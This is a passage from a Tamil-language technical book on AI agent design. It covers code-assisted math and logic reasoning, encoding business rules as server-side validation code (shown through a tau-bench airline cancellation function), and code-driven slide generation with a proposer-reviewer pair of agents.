மேதமேட்டிகாவின் (Mathematica) உருவாக்குநரான ஸ்டீபன் வொல்ஃப்ராம் (Stephen Wolfram), இது குறித்து ஆழமான நுண்ணறிவை வழங்கினார். LLM-கள் இருப்பதற்கு முன்பே, துல்லியமான கணிதக் கணக்கீட்டிற்குத் திறனுள்ள அமைப்புகள் இருந்தன—அவை குறியீட்டுக் கணக்கீட்டைப் (Symbolic Computation) பயன்படுத்தி வேலை செய்தன, அதாவது தோராயமான எண் மதிப்புகளுக்குப் பதிலாக கணிதக் குறியீடுகளைப் பயன்படுத்தி வெளிப்பாடுகளைச் செயலாக்கின. உதாரணமாக, ஒரு சாதாரண கால்குலேட்டர் \(\sqrt{2}\) ஐ 1.414 எனக் கணக்கிடும், ஆனால் ஒரு குறியீட்டுக் கணக்கீட்டு அமைப்பு \(\sqrt{2}\) என்ற சரியான வடிவத்தை வைத்திருக்கும், தேவைப்படும்போது மட்டுமே தசமமாக மாற்றும். வொல்ஃப்ராமால் உருவாக்கப்பட்ட வொல்ஃப்ராம் ஆல்பா (Wolfram Alpha) அத்தகைய ஒரு அமைப்பாகும்: பயனர்கள் ஒரு கணிதப் பிரச்சினையை உள்ளீடு செய்கிறார்கள், அது ஒரு துல்லியமான பதிலைத் தருகிறது. இருப்பினும், அதன் இயற்கை மொழி புரிதல் மிகவும் உடையக்கூடியது மற்றும் அதன் கவரேஜ் குறுகியது—இது ஒரு உள்ளமைக்கப்பட்ட இலக்கணப் பாகுபடுத்தியை (grammar parser) நம்பியுள்ளது, இது ஒரு குறிப்பிட்ட வரையறுக்கப்பட்ட சொற்றொடர்களை மட்டுமே அடையாளம் காண முடியும்; சொற்றொடரில் ஒரு சிறிய மாற்றம் பாகுபடுத்தல் தோல்வியடையச் செய்யலாம், மேலும் இது நிச்சயமாக திறந்த-கள பல-படி பகுத்தறிவைக் கையாள முடியாது. LLM-கள் இந்த இடைவெளியைச் சரியாக நிரப்புகின்றன—அவை பல்வேறு இயற்கை மொழி வெளிப்பாடுகளைப் புரிந்துகொள்வதில் சிறந்து விளங்குகின்றன, ஆனால் துல்லியமான கணக்கீட்டில் சிறந்தவை அல்ல. புதிய கூட்டு மாதிரி: LLM-ஐ பயனரின் இயற்கை மொழி கேள்வியைப் புரிந்துகொள்வதற்கும், அதில் உள்ள கணித அல்லது தர்க்கரீதியான கட்டமைப்பை அடையாளம் காண்பதற்கும், அதை ஒரு முறையான மொழியாக (formal language) (எ.கா., மேதமேட்டிகா மொழி அல்லது பைத்தானின் SymPy நூலகம்) மொழிபெயர்ப்பதற்கும் பொறுப்பாக்கி; பின்னர் துல்லியமான முடிவுகளைப் பெற, அதை ஒரு பிரத்யேக குறியீட்டுக் கணக்கீட்டு இயந்திரம் அல்லது கட்டுப்பாட்டுத் தீர்விக்கு (constraint solver) ஒப்படைக்க வேண்டும்.

சோதனை 5-1 ★★: கணிதப் பிரச்சினை தீர்க்கும் திறனை மேம்படுத்த குறியீடு உருவாக்கக் கருவிகளைப் பயன்படுத்துதல்

சோதனை இலக்கு: குறியீடு விளக்கியின் (Code Interpreter) உதவியுடன் ஒரு ஏஜெண்டின் (Agent) கணித சிந்தனையின் துல்லிய மேம்பாட்டைச் சரிபார்க்கவும்.

தொழில்நுட்ப அணுகுமுறை: sympy, numpy, மற்றும் scipy போன்ற கணித நூலகங்களைக் கொண்ட பைத்தான் சாண்ட்பாக்ஸை (Python sandbox) ஏஜெண்டுடன் இணைக்கவும். ஏஜெண்ட் ஒரு கணிதப் பிரச்சினையைச் சந்திக்கும்போது, அதை பைத்தான் குறியீடாக முறைப்படுத்துகிறது: sympy குறியீட்டுக் கணக்கீட்டிற்கும் (நுண்கணிதம், சமன்பாடு தீர்வு), scipy எண்ணியல் உகப்பாக்கத்திற்கும் (numerical optimization), numpy அணி செயல்பாடுகளுக்கும் (matrix operations). உருவாக்கப்பட்ட குறியீடு சாண்ட்பாக்ஸில் இயக்கப்பட்டு துல்லியமான முடிவுகளைத் தருகிறது.

ஏற்பு அளவுகோல்கள்: AIME-பாணி பிரச்சினைகளைப் (அமெரிக்க கணித அழைப்புத் தேர்வின் மாதிரியில்) பயன்படுத்தி மதிப்பீடு செய்யவும். தூய சிந்தனைச் சங்கிலி (chain-of-thought) பகுத்தறிவின் துல்லியத்தையும், குறியீடு-உதவி பகுத்தறிவின் துல்லியத்தையும் ஒப்பிடவும், குறியீடு-உதவி முறை கணிசமாக அதிகமாக இருக்க வேண்டும். குறியீடு கணித நூலகங்களைச் சரியாகப் பயன்படுத்துகிறதா மற்றும் தீர்வு செயல்முறை தர்க்கரீதியாக தெளிவாக உள்ளதா என்பதைச் சரிபார்க்கவும்.

சோதனை 5-2 ★★: தர்க்கரீதியான பகுத்தறிவுத் திறனை மேம்படுத்த குறியீடு உருவாக்கக் கருவிகளைப் பயன்படுத்துதல்

சோதனை இலக்கு: கட்டுப்பாட்டுத் தீர்வுக் குறியீட்டின் (constraint-solving code) உதவியுடன் தர்க்கரீதியான பகுத்தறிவைச் செய்யும் ஏஜெண்டின் திறனை மதிப்பிடவும்.

தொழில்நுட்ப அணுகுமுறை: ஏஜெண்டை, python-constraint நூலகத்தைக் கொண்ட ஒரு குறியீடு விளக்கி (Code Interpreter) மூலம் சித்தப்படுத்துங்கள். ஏஜெண்ட், தர்க்கப் புதிர்களை (Knights and Knaves போன்றவை) முறையான கட்டுப்பாடு வரையறைகளாக மொழிபெயர்க்கிறது: அனைத்து மாறிகளையும் (ஒவ்வொரு தீவுவாசியின் அடையாளம்), கட்டுப்பாடுகளையும் ("நைட்கள் உண்மையைச் சொல்கிறார்கள்" போன்ற வழித்தோன்றல்கள்) அடையாளம் கண்டு, கட்டுப்பாடுகளை வரையறுத்து, அனைத்து கட்டுப்பாடுகளையும் பூர்த்தி செய்யும் ஒரு தீர்வைத் தேட தீர்வி (solver) ஐ அழைக்கிறது.

ஏற்றுக்கொள்ளும் அளவுகோல்கள்: K&K Puzzle தரவுத்தொகுப்பை பயன்படுத்தி மதிப்பீடு செய்யவும். குறியீடு-உதவி முறை, 90% க்கும் அதிகமான தீர்வுத் துல்லியத்தை அடைய வேண்டும், இது தூய சிந்தனை முறையை விட கணிசமாக அதிகமாகும்.

இந்தப் பரிசோதனை மேலும் ஒரு பொதுவான முறையமைப்பை வெளிப்படுத்துகிறது: மாதிரிக்கும் (model) Harness க்கும் இடையே ஒரு பரிமாற்ற உறவு (trade-off) உள்ளது. மாதிரி போதுமான அளவு வலுவாக இருக்கும்போது, Harness மெல்லியதாக இருக்கலாம்—மாதிரி தானாகவே சரியாகக் காரணம் காண முடியும், மேலும் குறியீடு தீர்வியின் (code solver) பயன் குறைகிறது. மாதிரி போதுமான அளவு வலுவாக இல்லாதபோது, Harness அதிக வேலை செய்யப்பட வேண்டும்—சரியான தன்மையை உறுதிப்படுத்த முக்கிய தர்க்கரீதியான பகுத்தறிவை குறியீடு மற்றும் கட்டுப்பாடு தீர்விகளுக்கு (constraint solvers) மாற்ற வேண்டும். இந்த காரணத்திற்காக, இந்தப் பரிசோதனை வேண்டுமென்றே ஒரு பலவீனமான மாதிரியைப் பயன்படுத்தி இந்த வேறுபாட்டை பெரிதாக்குகிறது: பலவீனமான மாதிரியுடன், தூய சிந்தனை முறை அடிக்கடி கணக்கீட்டுப் பிழைகளைச் செய்யும், அதே நேரத்தில் குறியீடு உதவி துல்லியத்தை கணிசமாக அதிகரிக்க முடியும்; போதுமான வலுவான சிந்தனை மாதிரிக்கு மாறும்போது, தூய சிந்தனை பெரும்பாலும் அனைத்து புதிர்களையும் தீர்க்க முடியும், மேலும் குறியீடு உதவியின் பயன் பூஜ்ஜியத்தை நெருங்குகிறது. எனவே, Harness எவ்வளவு தடிமனாக இருக்க வேண்டும் என்பது நீங்கள் பயன்படுத்தும் மாதிரியின் திறன் எல்லையைப் பொறுத்தது—இது ஒரு ஏஜெண்ட் தொழில்நுட்பத்தை மதிப்பிடும்போது எளிதில் கவனிக்கப்படாத ஒரு முன்நிபந்தனையாகும்: ஒரே Harness, வெவ்வேறு திறன்களைக் கொண்ட மாதிரிகளுடன் இணைக்கப்படும்போது, முற்றிலும் மாறுபட்ட முடிவுகளைத் தரலாம்.

வணிக விதிகளுக்கான கட்டுப்பாடாக குறியீடு

இந்தப் பகுதி முந்தைய Harness பொறியியல் பகுதிக்கு நேரடியான பதிலாகும். Harness இன் முக்கிய கொள்கைகளில் ஒன்று "கட்டுப்பாடுகள்: ஆவணப்படுத்தப்படாமல், குறியீடாக்கப்படுகின்றன" (Constraints: Encoded, Not Documented)—விதிகளை இயற்கை மொழி ஆவணத்திலிருந்து இயங்கக்கூடிய குறியீடாக மாற்றி, அவற்றை ஆலோசனை வழிகாட்டுதல்களாக அல்லாமல், அமைப்பு நடத்தையின் கட்டாயக் கட்டுப்பாடுகளாக மாற்றுகிறது. குறியீடு உருவாக்கம் (Code generation) ஏஜெண்டை இந்த மாற்றச் செயல்முறையை தானாகவே முடிக்க உதவுகிறது.

வணிக விதிகள், பணிப்பாய்வுகள் மற்றும் முடிவெடுக்கும் தர்க்கம் ஆகியவை இயற்கை மொழியில் மட்டுமே விவரிக்கப்பட்டால், பெரும்பாலும் தெளிவின்மை நிறைந்ததாக இருக்கும். "நியாயமான பணத்திரும்பக் கோரிக்கை" (reasonable refund request) என்றால் என்ன? "அவசரநிலை" (emergency) என்றால் என்ன? இந்தக் கருத்துகளின் எல்லைகளை இயற்கை மொழியில் வரையறுப்பது கடினம்—"வாங்கிய 7 நாட்களுக்குள் பணத்திரும்பம்" என்பது தெளிவாகத் தோன்றினாலும், "7 நாட்கள்" என்பது காலண்டர் நாட்களா அல்லது வேலை நாட்களா? "வாங்குதல்" என்பது ஆர்டர் செய்யும் நேரத்தையா அல்லது கப்பல் அனுப்பும் நேரத்தையா குறிக்கிறது? இதற்கு மாறாக, குறியீடு இருபொருள்படாத, இயங்கக்கூடிய ஒரு அறிவுப் பிரதிநிதித்துவ வடிவத்தை வழங்குகிறது—அது வெற்றிகரமாக இயங்கும் அல்லது பிழையை எறியும்; தெளிவின்மைக்கு இடமில்லை.

சிக்கலான வணிக விதிகளை துல்லியமாக வெளிப்படுத்துதல்.

இயற்கை மொழி விதிகள் எதிராக குறியீடாக்கப்பட்ட விதிகள்: நிரப்பு, மாற்று அல்ல

சிஸ்டம் ப்ராம்ப்டில் விதிகளை எழுதுவதன் நன்மை: மாதிரி, விதிகளின் அடிப்படையில் பயனர்களுக்கு கொள்கைகளை விளக்க முடியும்; விதிகளின் அடிப்படையில் மாற்று வழிகளைக் கண்டறிய முடியும் (எ.கா., "ரத்து செய்வதற்குப் பதிலாக மறு முன்பதிவு செய்யுங்கள்"); ஒரு கருவியை அழைப்பதற்கு முன் ஆரம்ப சாத்தியக்கூறு தீர்ப்பை வழங்க முடியும்.

விதிகளை சரிபார்ப்பு கருவிகளாக குறியீடாக்குவதன் நன்மை: குறியீட்டு தர்க்கத்தின் துல்லியமும் இருபொருள் இன்மையும்—"தவறான புரிதல்" இருக்காது; குறியீடு செயல்பாட்டின் உறுதிப்பாடும்—ஒரே உள்ளீடு எப்போதும் ஒரே வெளியீட்டை உருவாக்கும்; குறிப்பாக சிக்கலான விதி சேர்க்கைகளுக்கு ஏற்றது—பல நிபந்தனை பூலியன் சேர்க்கைகள், நேர கணக்கீடுகள், பல தரவு மூலங்களுக்கிடையேயான சரிபார்ப்பு.

நடைமுறையில், இவை இரண்டும் ஒன்றாகப் பயன்படுத்தப்பட வேண்டும்: சிஸ்டம் ப்ராம்ப்டில் புரிதல் மற்றும் தொடர்புக்கான இயற்கை மொழி விதிகள் உள்ளன, அதே நேரத்தில் முக்கிய முடிவெடுக்கும் புள்ளிகளில், "காவலர்களாக" செயல்படும் குறியீடாக்கப்பட்ட சரிபார்ப்பு கருவிகள் இணக்கத்தை உறுதி செய்ய உதவுகின்றன.

குறியீடாக்கப்பட்ட விதிகளின் உண்மையான மதிப்பு டோக்கன் திறனை மேம்படுத்துவதில் இல்லை, மாறாக மீள முடியாத தவறான செயல்பாடுகளைத் தடுப்பதில் உள்ளது—ஒரு ஆர்டரை ரத்து செய்தல், நிதியை மாற்றுதல், தரவை நீக்குதல்—இந்த செயல்பாடுகள் ஒருமுறை செயல்படுத்தப்பட்டால், அவற்றை மீட்டெடுக்க முடியாது. குறியீடாக்கப்பட்ட சரிபார்ப்பு, செயல்பாட்டிற்கு முன் இறுதி பாதுகாப்புக் கோட்டை அமைக்கிறது. இந்த பாதுகாப்பு உத்தரவாதத்தின் மதிப்பு, அதன் செயலாக்க செலவை விட மிக அதிகம்.

சரிபார்ப்பு மற்றும் செயலாக்கத்தை இணைத்தல்: சரிபார்ப்புப் பட்டியல் சிந்தனையை வழிநடத்துகிறது, உண்மை-மதிப்பு சரிபார்ப்பு வாயிலைக் காக்கிறது

தனி சரிபார்ப்பு கருவியை வடிவமைப்பதை விட, செயலாக்க கருவி முதலில் உள்நோக்கி சரிபார்ப்பைச் செய்வது சிறந்தது. τ-bench (tau-bench, விமான நிறுவனம் மற்றும் இ-காமர்ஸ் வாடிக்கையாளர் சேவை காட்சிகளை உருவகப்படுத்தும் ஒரு பெஞ்ச்மார்க், குறிப்பாக ஒரு ஏஜெண்டின் கருவி அழைப்பு மற்றும் கொள்கை இணக்கத் திறன்களை மதிப்பிட வடிவமைக்கப்பட்டுள்ளது) இலிருந்து விமான நிறுவன ரத்து கொள்கையை உதாரணமாக எடுத்துக் கொள்வோம்:

def cancel_reservation(
    reservation_id: str,
    cancellation_reason: str,        # "change_of_plan", "airline_cancelled", "other"
    expected_cabin_class: str = None,    # விருப்பம்: மாதிரி சுய-சரிபார்ப்புக்கு; சர்வர் உண்மைக்கான தரவுத்தளத்தைப் பயன்படுத்துகிறது
    expected_has_insurance: bool = None  # விருப்பம்: மாதிரி சுய-சரிபார்ப்புக்கு; மேலே உள்ளதைப் போலவே
) -> dict:
    """
    ஒரு விமான முன்பதிவை ரத்து செய்யவும்.

    ரத்து கொள்கை (தரவுத்தள உண்மை மதிப்புகளின் அடிப்படையில் சர்வர் பக்கத்தில் செயல்படுத்தப்படுகிறது):
    - விதி 1: பயன்படுத்தப்பட்ட பகுதிகள் உள்ள முன்பதிவுகளை ரத்து செய்ய முடியாது
    - விதி 2: முன்பதிவு செய்த 24 மணி நேரத்திற்குள் முன்பதிவுகளை நிபந்தனையின்றி ரத்து செய்யலாம்
    - விதி 3: விமான நிறுவனத்தால் ரத்து செய்யப்பட்ட விமானங்களை எப்போதும் ரத்து செய்யலாம்
    - விதி 4: பிசினஸ் கிளாஸை எப்போதும் ரத்து செய்யலாம்
    - விதி 5: பேசிக் எகானமி மற்றும் எகானமிக்கு ரத்து செய்ய பயண காப்பீடு தேவை

    அழைப்பதற்கு முன், தயவுசெய்து ஆர்டர் விவரங்களை வினவி, மேலே உள்ள ஒவ்வொரு விதியையும் ஒவ்வொன்றாகச் சரிபார்க்கவும்; expected_* அளவுருக்கள்
    உங்கள் தீர்ப்பு அடிப்படையைக் கூறுவதற்கானவை, சர்வர் பக்க ஒப்பீடு மற்றும் தணிக்கைக்காக வழங்கப்படுகின்றன, மேலும் கொள்கை தீர்ப்பைப் பாதிக்காது.
    """
    # அனைத்து கொள்கை உண்மைகளும் தரவுத்தளத்திலிருந்து படிக்கப்படுகின்றன; மாதிரியால் தெரிவிக்கப்பட்ட மதிப்புகளை ஒருபோதும் நம்ப வேண்டாம்
    r = db.get_reservation(reservation_id)
    now = server_clock.now()  # சேவையக கடிகாரம், மாதிரியால் வழங்கப்படவில்லை

    # மாதிரியின் சுய-அறிக்கை மதிப்பு உண்மை மதிப்புடன் பொருந்தவில்லை என்றால், மாதிரியின் தவறான நம்பிக்கைகள் அல்லது சாத்தியமான இன்ஜெக்ஷனைக் கண்டறிய எச்சரிக்கையைப் பதிவு செய்யவும்
    if expected_cabin_class is not None and expected_cabin_class != r.cabin_class:
        log_mismatch(reservation_id, "cabin_class", expected_cabin_class, r.cabin_class)
    if expected_has_insurance is not None and expected_has_insurance != r.has_insurance:
        log_mismatch(reservation_id, "has_insurance", expected_has_insurance, r.has_insurance)

    if r.any_segment_used:
        return {"success": False, "reason": "பயன்படுத்தப்பட்ட பகுதிகளுடன் ரத்து செய்ய முடியாது"}

    hours_since_booking = (now - r.booking_time).total_seconds() / 3600
    if hours_since_booking <= 24:
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "24 மணி நேர சாளரத்திற்குள் ரத்து செய்யப்பட்டது"}

    if r.flight_status == "cancelled_by_airline":
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "விமான நிறுவனத்தால் விமானம் ரத்து செய்யப்பட்டது"}

    if r.cabin_class == "business":
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "வணிக வகுப்பு ரத்து"}

    if r.cabin_class in ["basic_economy", "economy"]:
        if r.has_insurance:
            execute_cancellation(reservation_id)
            return {"success": True, "reason": f"{r.cabin_class} காப்பீட்டுடன்"}
        return {"success": False, "reason": f"{r.cabin_class} க்கு காப்பீடு தேவை"}

    return {"success": False, "reason": "ரத்து கொள்கையை பூர்த்தி செய்யவில்லை"}

இந்த வடிவமைப்பின் மதிப்பு இரண்டு நிலைகளில் புரிந்து கொள்ளப்பட வேண்டும்.

முதல் நிலை: சிந்தனை சரிபார்ப்புப் பட்டியலாக அளவுருக்கள். கருவி விளக்கம் முழுமையான ரத்து கொள்கையை பட்டியலிடுகிறது மற்றும் மாதிரியை "ஆர்டர் விவரங்களை வினவி, ஒவ்வொரு நிபந்தனையையும் ஒவ்வொன்றாக சரிபார்த்த பிறகு அழைக்க" கட்டாயப்படுத்துகிறது; விருப்ப expected_* அளவுருக்கள் மாதிரியை அதன் சொந்த பகுத்தறிவை வெளிப்படையாக எழுத தூண்டுகிறது. இந்த அளவுருக்களை நிரப்ப, மாதிரி முதலில் ஆர்டர் விவரங்களைப் பெற வினவல் கருவியை அழைத்து ஒவ்வொரு நிபந்தனையையும் ஒவ்வொன்றாக சரிபார்க்க வேண்டும் — அளவுருக்களை நிரப்பும் செயல்முறை அடிப்படையில் ஒரு கட்டாய சரிபார்ப்புப் பட்டியல் ஆகும். மாதிரி கேபின் வகுப்பு எகானமி என்றும் காப்பீடு வாங்கப்படவில்லை என்றும் கண்டறிந்தால், அழைப்பிற்கான தயாரிப்பின் போது விதி 5 ஐ கவனிக்க வாய்ப்புள்ளது, இதனால் அழைப்பைத் தொடங்கவே மாட்டாது, மாறாக நேரடியாக பயனரிடம் "காப்பீடு இல்லாத எகானமி வகுப்பை ரத்து செய்ய முடியாது. ரத்து செய்வதற்கு முன் காப்பீடு வாங்குவது அல்லது உங்கள் முன்பதிவை மாற்றுவது குறித்து பரிசீலிக்கவும்." என்று கூறும். இந்த நிலையின் மதிப்பு சிந்தனையை வழிநடத்துவதிலும் தவறான அழைப்புகளைக் குறைப்பதிலும் உள்ளது; இருப்பினும், இது பாதுகாப்பு பொறுப்பை ஏற்காது — expected_* அளவுருக்கள் மாதிரியின் சுய-அறிக்கை மட்டுமே, சேவையகம் அவற்றை உண்மைகளாக ஒருபோதும் கருதாது.

இரண்டாம் நிலை: சர்வர்-பக்க உண்மை-நிலை சரிபார்ப்பு காவலராக. குறியீட்டில் உள்ள முக்கிய வடிவமைப்பைக் கவனியுங்கள்: கேபின் வகுப்பு, காப்பீட்டு நிலை, முன்பதிவு நேரம், பிரிவு பயன்பாடு மற்றும் விமான நிலை ஆகிய அனைத்தும் சர்வரால் தரவுத்தளத்திலிருந்து வினவப்படுகின்றன; தற்போதைய நேரம் சர்வர் கடிகாரத்திலிருந்து வருகிறது. மாதிரியின் சுய-அறிவிக்கப்பட்ட அளவுருக்களில் இருந்து எந்த கொள்கை உண்மையும் வரவில்லை. இது தேவையற்ற எச்சரிக்கை அல்ல: மாதிரி மாயத்தோற்றத்தை உருவாக்கலாம் அல்லது ப்ராம்ப்ட் இன்ஜெக்ஷன் மூலம் கையாளப்படலாம் — முன்பு மரண முக்கோண பகுப்பாய்வில் கண்டது போல, ஒரே சூழலில் உள்ள ஏஜெண்ட்கள் தங்கள் சொந்த அப்பாவித்தனத்தை நிரூபிக்க முடியாது. cabin_class, has_insurance, மற்றும் current_time கூட மாதிரியால் நிரப்பப்படும் அளவுருக்களாக வடிவமைக்கப்பட்டிருந்தால், மாதிரி ஒரு தவறான மதிப்பைக் கூட அறிவித்தால் (அல்லது அறிவிக்கத் தூண்டப்பட்டால்) "காவலர்" பயனற்றதாகிவிடும். பாதுகாப்பின் கடைசி வரிசை மாதிரியால் போலியாக உருவாக்க முடியாத தரவுகளின் அடிப்படையில் கட்டமைக்கப்பட வேண்டும் — இது "முக்கியமான செயல்பாடுகளுக்கு சுயாதீன சரிபார்ப்பு தேவை" என்ற முந்தைய நிலைப்பாட்டுடன் ஒத்துப்போகிறது: சுதந்திரம் என்பது ஒரு சுயாதீன மாதிரியை மட்டுமல்ல, ஒரு சுயாதீன தரவு மூலத்தையும் குறிக்கிறது.

மூன்று-அடுக்கு பாதுகாப்பு இவ்வாறு நிறைவடைகிறது: (1) சிஸ்டம் ப்ராம்ப்டில் உள்ள இயற்கை மொழி விதிகள் புரிதல் மற்றும் விளக்கத்திற்கு உதவுகின்றன; (2) கருவி விளக்கங்கள் மற்றும் அளவுரு வடிவமைப்பு ஒரு சரிபார்ப்புப் பட்டியலாக செயல்படுகின்றன, அழைப்பதற்கு முன் நிபந்தனைகளை வெளிப்படையாக சரிபார்க்க மாதிரியை வழிநடத்துகின்றன; (3) தரவுத்தள உண்மை-நிலையைப் பயன்படுத்தி சர்வர்-பக்க குறியீடு அடிப்படையிலான சரிபார்ப்பு இறுதி காவலராக செயல்படுகிறது. முதல் இரண்டு அடுக்குகள் பிழைகள் ஏற்படுவதைக் குறைக்கின்றன, மூன்றாவது பிழைகள் மீள முடியாத இழப்புகளாக மாறாமல் இருப்பதை உறுதி செய்கிறது.

சோதனை 5-3 ★★: சிறிய மாதிரிகள் குறியீடு அடிப்படையிலான அறிவின் மூலம் விதி செயலாக்க துல்லியத்தை மேம்படுத்துகின்றன

சோதனை நோக்கம்: சிறிய-அளவுரு மாதிரிகள் (Qwen3-4B) குறியீடு அடிப்படையிலான வணிக விதிகள் மூலம் சிக்கலான கொள்கை செயலாக்கத்தின் துல்லியம் மற்றும் நிலைத்தன்மையை கணிசமாக மேம்படுத்துகின்றன என்பதை சரிபார்க்கவும்.

தொழில்நுட்ப அணுகுமுறை: τ-bench விமான நிறுவன வாடிக்கையாளர் சேவை காட்சியின் அடிப்படையில் ஒரு கட்டுப்படுத்தப்பட்ட சோதனையை வடிவமைக்கவும். கட்டுப்பாட்டுக் குழு: தூய இயற்கை மொழி விதிகள், மாதிரியின் சொந்த பகுத்தறிவை நம்பியுள்ளது. சோதனைக் குழு: மூன்று-அடுக்கு பாதுகாப்பு — சிஸ்டம் ப்ராம்ப்ட் இயற்கை மொழி விதிகளைத் தக்க வைத்துக் கொள்கிறது; கருவி விளக்கம் முழுமையான கொள்கையை பட்டியலிடுகிறது மற்றும் ஒவ்வொரு நிபந்தனையையும் ஒவ்வொன்றாக சரிபார்க்க மாதிரியை வழிநடத்த விருப்ப expected_* அளவுருக்களைப் பயன்படுத்துகிறது (சரிபார்ப்புப் பட்டியல்); கருவி உள்ளகமாக உருவகப்படுத்தப்பட்ட தரவுத்தள உண்மை-நிலையின் அடிப்படையில் குறியீடு அடிப்படையிலான சரிபார்ப்பை செய்கிறது (அனைத்து கொள்கை உண்மைகளும் தரவுத்தளத்திலிருந்து பெறப்படுகின்றன, நேரம் சர்வர் கடிகாரத்திலிருந்து எடுக்கப்படுகிறது, மேலும் மாதிரியின் சுய-அறிவிக்கப்பட்ட அளவுருக்கள் நம்பப்படுவதில்லை). மதிப்பீட்டு அளவீடுகள்: பணி வெற்றி விகிதம், கொள்கை மீறல்களின் எண்ணிக்கை, தவறான கருவி அழைப்புகளின் எண்ணிக்கை, பயனர் அனுபவம்.

எதிர்பார்க்கப்பட்ட முடிவுகள்: சோதனைக் குழு கட்டுப்பாட்டுக் குழுவை விட கணிசமாக சிறப்பாக செயல்படுகிறது. மிக முக்கியமாக, அளவுருக்களைத் தயாரிக்கும் போது மாதிரியானது தானாகவே மீறல்களை அடையாளம் கண்டு, பயனருக்கு நேரடியாக மாற்று வழிகளை முன்மொழிகிறது என்பது கவனிக்கப்படுகிறது, இது "அளவுருக்கள் ஒரு சரிபார்ப்புப் பட்டியலாக" இருப்பதன் செயல்திறனை உறுதிப்படுத்துகிறது; அதே நேரத்தில், expected_* சுய-அறிக்கை மதிப்புகளுக்கும் தரவுத்தள உண்மை நிலைக்கும் இடையே உள்ள முரண்பாடுகளின் விகிதம் கணக்கிடப்படுகிறது, இது தவறான அறிவாற்றலைத் தடுப்பதில் "சர்வர்-பக்க உண்மை-நிலை சரிபார்ப்பின்" அவசியத்தை உறுதிப்படுத்துகிறது.

குறியீடு-இயக்க மல்டிமீடியா உருவாக்கம்

பல சிக்கலான ஆவணங்களின் உருவாக்கம் என்பது அடிப்படையில் கட்டமைக்கப்பட்ட தரவுகளின் ஒழுங்கமைப்பு மற்றும் வழங்கல் ஆகும். அது ஒரு விளக்கக்காட்சியாகவோ, தொழில்நுட்ப அறிக்கையாகவோ அல்லது ஊடாடும் பயன்பாடாகவோ இருந்தாலும், அடிப்படை அமைப்பு குறியீட்டால் வரையறுக்கப்படுகிறது — HTML அமைப்பை விவரிக்கிறது, CSS பாணியைக் கட்டுப்படுத்துகிறது, மற்றும் JavaScript ஊடாடுதலை செயல்படுத்துகிறது. பாரம்பரிய ஆவண உருவாக்கம் GUI இடைமுகங்கள் மூலம் WYSIWYG எடிட்டிங்கை நம்பியுள்ளது, ஆனால் இது ஏஜெண்டுகளுக்கு உள்ளுணர்வு மிக்கதாகவோ அல்லது திறமையானதாகவோ இல்லை, ஏனெனில் GUI செயல்பாடுகளுக்கு காட்சி புரிதல் மற்றும் துல்லியமான ஆயத்தொலைவு (coordinate) நிலைப்படுத்தல் தேவைப்படுகிறது. குறியீடு உருவாக்கம் மூலம், ஏஜெண்டுகள் காட்சி நிலைப்பாட்டின் சவாலைத் தவிர்த்து, ஆவணங்களின் மீது துல்லியமான கட்டுப்பாட்டைப் பெறுகின்றன — ஒவ்வொரு உறுப்பின் நிலை, பாணி மற்றும் உள்ளடக்கம் தெளிவாக வரையறுக்கப்பட்டு, நிரலாக்க ரீதியாக மாற்றியமைக்கப்பட்டு மேம்படுத்தப்படலாம்.

PPT உருவாக்க ஏஜெண்ட்.

PPT உருவாக்கம் பெரும்பாலும் நேரம் எடுக்கும் மற்றும் உழைப்பு மிகுந்ததாகும். ஒரு பொதுவான கல்வி விளக்கக்காட்சியில் பல டஜன் ஸ்லைடுகள் இருக்கலாம், ஒவ்வொன்றிற்கும் கவனமான தளவமைப்பு வடிவமைப்பு, முக்கிய புள்ளிகள் பிரித்தெடுத்தல் மற்றும் விளக்கப்பட தேர்வு தேவைப்படுகிறது. PPT உருவாக்கம் ஒரு குறியீடு உருவாக்க சிக்கலாக மறுவடிவமைக்கப்பட்டால், சிக்கலை பெரிதும் எளிமைப்படுத்தலாம். நவீன PPT கட்டமைப்புகள் (Slidev போன்றவை) ஒரு நேர்த்தியான வடிவமைப்பு தத்துவத்தைப் பின்பற்றுகின்றன: விளக்கக்காட்சி உள்ளடக்கத்தை வரையறுக்க Markdown மற்றும் HTML ஐப் பயன்படுத்தவும். ஒரு ஸ்லைடை உருவாக்க சுருக்கமான மார்க்அப் மொழியை எழுதினால் போதும், மேலும் கட்டமைப்பு தானாகவே ரெண்டரிங், தளவமைப்பு மற்றும் அனிமேஷனைக் கையாளுகிறது. குறியீடு உருவாக்கும் திறன்களைக் கொண்ட ஏஜெண்டுகளுக்கு இது மிகவும் நட்பானது.

குறியீட்டை உருவாக்குவது மட்டும் போதாது. ஏஜெண்ட் குறியீட்டை எழுதிய பிறகு, அது உண்மையான ரெண்டரிங் விளைவை அறியாது: உள்ளடக்கம் மிகவும் நெரிசலாக உள்ளதா, உரை வழிந்தோடுகிறதா, பட அளவுகள் பொருத்தமானதா — இவை அனைத்தும் உண்மையான ரெண்டரிங் செய்த பின்னரே கண்டறிய முடியும். எனவே, குறியீடு எழுதுதல் மற்றும் தர மதிப்பாய்வு ஆகியவற்றை இரண்டு சுயாதீன ஏஜெண்டுகளாகப் பிரிக்க முன்மொழிபவர்-மதிப்பாய்வாளர் பொறிமுறை (படம் 5-5 இல் காட்டப்பட்டுள்ளது) தேவைப்படுகிறது:

• முன்மொழிபவர் ஏஜெண்ட் Slidev குறியீட்டை உருவாக்குவதற்கும், உள்ளடக்கத்தின் தர்க்கரீதியான கட்டமைப்பைப் புரிந்துகொள்வதற்கும், அதை நியாயமான பக்கங்களாகப் பிரிப்பதற்கும் பொறுப்பானது.
